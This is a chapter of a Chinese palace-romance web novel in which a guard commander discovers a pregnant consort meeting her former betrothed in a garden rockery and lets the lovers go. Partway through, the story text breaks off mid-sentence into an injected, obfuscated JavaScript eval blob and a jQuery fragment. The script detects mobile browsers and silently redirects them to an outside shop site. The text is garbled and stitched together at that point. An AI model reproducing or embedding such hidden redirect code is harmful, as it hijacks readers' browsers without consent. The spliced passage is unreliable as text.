夜色如墨,秦携独自走在宫道上,腰间佩刀随步伐轻轻晃动,发出细微的金属摩擦声。
今日轮到他值夜,殿前都指挥使的差事说轻不轻说重不重,无非是在宫中巡查几圈,确保各处门户严紧、戍卫得当。
他本该多带几个禁军士兵同行,可今夜月色太好,鬼使神差地就打发了跟着的人,独自一人沿着宫道慢慢走着。
说是巡查,其实他心里清楚,不过是想在宫里多转一转,说不定又能多看她一眼。
今夜凤仪宫的灯火已经熄了大半,只余正殿还亮着几盏,她大概还在批那些没完没了的记档吧。
秦携在宫道拐角处站了片刻,正要转身往别处去,忽然听见不远处的凝晖宫方向传来窸窸窣窣的声响。
声音很轻,像是有人在刻意压着脚步,又像是衣料蹭过花木枝叶的细微摩擦。
秦携的眉头微微蹙起,他侧耳听了听,那声音断断续续,从凝晖宫侧面的花园里传出来。
凝晖宫如今是赵筠的住处。
赵筠如今怀了皇嗣,是整个后宫最要紧的人,李修明让太医院的太医轮番诊脉,御膳房变着花样送补品,连带着凝晖宫的戍卫都加了一倍。
要是赵筠出了事,李修明又要发疯大开杀戒。
秦携想到这里,便往发出动静的地方走。
凝晖宫侧面的花园不大,种着一片翠竹和几株桂花,此时桂花开得正盛,甜腻的香气在夜风中弥漫。
花园尽头有一座小小的假山,是当年修建凝晖宫时用剩下的太湖石堆砌而成,错落有致,中间还有一处可容三四人的空洞。
那声音便是从假山里面传出来的。
秦携没有急着上前,他隐在竹林后面,借着月色打量那座假山。
假山外面没有人,四周静悄悄的,只有夜风偶尔拂过竹梢的沙沙声,只假山里面分明有人在。
秦携听见了极力压抑的啜泣声,还有一道男声在说着什么。
秦携的手按上刀柄,却没有拔出来。
他听清了那道啜泣声,是个女子,哭得很伤心,却又不敢放声,只能死死捂着嘴,将那些哭声压成断断续续的呜咽。
那呜咽声里带着说不出的委屈和绝望,听得人心头发紧。
男声在低声安慰,声音太轻,听不清说了什么,只能辨出那语气里的焦急与心疼。
秦携站在竹林后面,犹豫了片刻。
他是殿前都指挥使,负责宫城戍卫,宫中有人私会,他应当立刻上前拿人。
可李修明后宫的女子,哪有一个是容易的?
秦携没有动,反而往后退了半步,将自己更深地隐入竹林的阴影中,竖起耳朵听着假山里的动静。
那女子的哭声渐渐低了下去,取而代之的是压抑的抽噎和断断续续的话语。
“方同,你走吧,被人看见你就活不成了。”
方同?
这个名字秦携有印象。
前不久赵铮找到他,说有个年轻人叫方同,原在京畿巡检司当差,是个本分人,想求他安排进禁军。
秦携自然不会拒绝赵铮,况且赵铮只是要把人安排进禁军,并不要什么职位。
可秦携不知道,方同进禁军,是为了进宫。
那男声又响了起来,比方才清晰了些,像是在极力克制着什么:“我不走,筠儿,我不走,我好不容易才见到你,我不能把你一个人丢在这里。”
“你听我说。”赵筠的声音带着哭腔,“我现在怀着皇嗣,他不会把我怎么样,可你不一样,你若是被人发现——”
“那又如何?”方同的声音忽然拔高了些,随即又压了下去,“筠儿,我只要能在宫里守着你就好,我哪里都不去。”
秦携站在竹林后面,将这两句话一字不漏地听进了耳朵里。
他想起赵铮被打板子那日,他去赵府探望,赵铮趴在床上,说:“筠儿还小,她往后进了宫,可怎么活?”
方同进禁军,不是为了前程,是为了进宫,进宫不是为了别的,是为了见赵筠,为了见那个本该嫁给他却被一道圣旨抢走的姑娘。
秦携的手缓缓从刀柄上松开。
他站在竹林后面,听着假山里那两个人压着声音说话,一个在哭,一个在劝,哭的人不敢大声哭,劝的人也不敢大声劝,只能将所有的委屈和思念都压在那小小的空洞里,压得人喘不过气来。
秦携想到了自己,他时常在宫里流连,目的和方同是一致的。
方同跟赵筠是两情相悦,而他,从头到尾不过是单相思。
秦携扯了扯嘴角,那笑意苦涩得很。
方同比他勇敢。
秦携在竹林后面站了很久,假山里的哭声渐渐止住了,那道男声也低了下去,只剩下夜风拂过竹梢的沙沙声,和远处偶尔传来的更鼓声。
方同该走了,这宫里到处都是眼睛,到处都是耳朵,方同和赵筠能被他发现,自然也能被别人发现。
秦携从竹林后面走了出来,没有刻意放轻脚步,靴子踩在碎石路上,发出清晰的声响。
假山里的声音戛然而止。
秦携走到假山前,月光将他的影子拉得又长又淡,投在那堆太湖石上。
“出来。”秦携压低了声音。
假山里没有动静。
秦携等了片刻,又道:“我知道你们在里面,出来说话,别逼我进去拿人。”
假山深处传来一阵窸窣声响,片刻后,一道身影从里面钻了出来。
方同穿着一身禁军的制式甲胄,甲片在月光下泛着黯淡的光,那双眼睛里却没有恐惧,只有说不清的决绝。
他钻出假山后转过身,伸手将身后的人扶了出来。
赵筠跟在方同身后,脸上满是泪痕,眼睛哭得红肿,发髻也散了,几缕碎发贴在脸颊上,狼狈得很,她一只手被方同握着,另一只手紧紧攥着自己的衣襟,整个人还在微微发抖。
方同将赵筠护在身后,直直地看向秦携,那双眼睛里的决绝更浓了几分。
“将军,是属下的错,是属下强迫赵美人的,与她无关。”
赵筠猛地抬起头,一把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625465|202670||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
抓住方同的手臂:“不、不是的……”
“筠儿!”方同低喝一声,想要甩开她的手,却被她抓得更紧。
赵筠死死攥着方同的手臂,指甲几乎要掐进肉里,她转向秦携,泪水又涌了出来:“秦将军,求求你,是我求他来的,是我逼他来的,你要抓就抓我,跟他没有关系!”
秦携看着这两个人,一个拼命往自己身上揽罪,一个死活不肯松手,你一言我一语,争着抢着要将所有的错都扛在自己肩上。
“行了。”秦携打断二人。
方同和赵筠齐齐看向他,一个面色苍白,一个泪眼婆娑。
“你们知不知道,”秦携颇有些恨铁不成钢的意味,“这种事若是被别人发现,会是什么下场?”
要私会也不知道更隐蔽些,找了这么个破地方。
方同的嘴唇动了动,没有说话。
赵筠的眼泪又涌了出来,她松开方同的手臂,缓缓跪了下去。
“秦将军。”赵筠的声音沙哑而绝望,“我知道我不该这么做,可我实在忍不住了,我怀了他的孩子,我每天、每天对着那个孩子,我就想,这是他的孩子,是那个毁了我一辈子的人的孩子,我想死,我真的想死……”
她说不下去了,伏在地上,肩膀剧烈地耸动着,却死死咬着嘴唇,不让自己哭出声来。
方同的眼眶也红了,他蹲下》身,将赵筠扶起来,紧紧握住她的手,那手还在不停地发抖。
秦携此刻感觉自己像棒打鸳鸯的恶婆婆。
“你们走吧。”秦携说。
方同和赵筠同时愣住。
秦携没有看他们,目光落在远处凤仪宫的方向,那里的灯火已经全熄了,只剩一轮明月挂在檐角,洒下一地清辉。
“今夜我什么都没看见。”秦携的声音很平静,“你们也什么都没做过,回去之后,把今晚的事忘了。”
方同的嘴唇剧烈地颤抖着,他猛地跪下去,深深叩首。
“将军,谢谢。”方同跪在地上,额头抵着冰冷的石板,肩膀微微耸动。
秦携身子避开,没受方同的礼,只叮嘱道:“禁军的差事,你还想干就好好干,不想干了就找个由头请调出去,别再冒险进宫了。”
“就当为了彼此。”
方同的眼眶猛地红了,他死死咬着牙,将那股涌上来的酸涩压下去,重重地磕了一个头。
“属下记住了。”
秦携转身,背对着他们:“一盏茶,我在这里等着,一盏茶之后,方同你必须走。”
身后没有立刻传来回应。
过了片刻,赵筠的声音响了起来,沙哑而颤抖:“谢、谢谢秦将军。”
秦携没有再说话,迈步走向花园入口,在门洞旁的石阶上坐下,背对着假山的方向。
月光将他的影子投在地面上,明明无形,又撑起可靠的堡垒。
秦携低下头,看着自己靴尖上沾的一点露水,在月光下泛着微光。
他不敢举头,怕被明月看清自己的内心,把一切都照亮,叫他无处可藏。